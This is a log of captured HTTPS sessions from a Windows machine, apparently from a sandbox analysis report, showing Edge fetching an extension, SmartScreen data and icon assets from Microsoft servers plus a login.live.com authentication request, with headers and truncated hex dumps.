2024-11-19 17:00:44 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49785	152.195.19.97	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:44 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732640439&P2=404&P3=2&P4=Lw8RUTRNbDBJ4C7QVGxK7FwZbXPIsnEnHuI5a3Fu%2fyCMrkG6UNKguCbq2FLoUCWPqlrSreIJLkFiucC0TX0VAA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: YDHnJhE4qKTD4E+Qq3weQd Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:44 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11962175 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Tue, 19 Nov 2024 17:00:44 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-19 17:00:44 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49786	20.190.160.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-19 17:00:44 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 17:00:45 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 16:59:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BL2 x-ms-request-id: 34fe3c15-f504-4ece-adee-531b34ad2d19 PPServer: PPV: 30 H: BL02EPF0001D9A5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 17:00:44 GMT Connection: close Content-Length: 11389
2024-11-19 17:00:45 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49787	20.25.227.174	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:45 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoid0dQbFpUN25UWHVZY09pNEdIeTUwQT09IiwgImhhc2giOiJvZ0tJcXg4V2dZUT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-19 17:00:45 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-19 17:00:45 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:45 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-19 17:00:45 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49790	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:45 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:46 UTC	516	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:46 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 67979d29-f01e-001f-4fa4-3ab317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170045Z-1777c6cb754rz2pghC1TEBghen000000085000000000v5du Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-19 17:00:46 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49798	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:46 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:46 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 9138da55-901e-0062-538f-3a2fdf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170046Z-1777c6cb7549j9hhhC1TEBzmcc000000087000000000qq7v Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 17:00:46 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49795	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:46 UTC	516	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:46 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: e7d16dbb-701e-0005-14a4-3a9c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170046Z-r1d97b99577lxltfhC1TEByw2s00000007q000000000c7t0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-19 17:00:46 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49796	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:46 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:46 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: c681b61b-301e-0046-628f-3ab691000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170046Z-r1d97b9957744xz5hC1TEB5bf800000007h000000000b6g2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 17:00:46 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49797	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:46 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:46 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 29229cc1-b01e-005c-1b8f-3a99fe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170046Z-185f5d8b95c96jn4hC1NYCbgp800000008xg00000000wybu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 17:00:46 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49794	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:46 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:46 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 783d8115-b01e-0057-448f-3a818a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170046Z-185f5d8b95ctl8xlhC1NYCn94g000000090g00000000smtv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 17:00:46 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 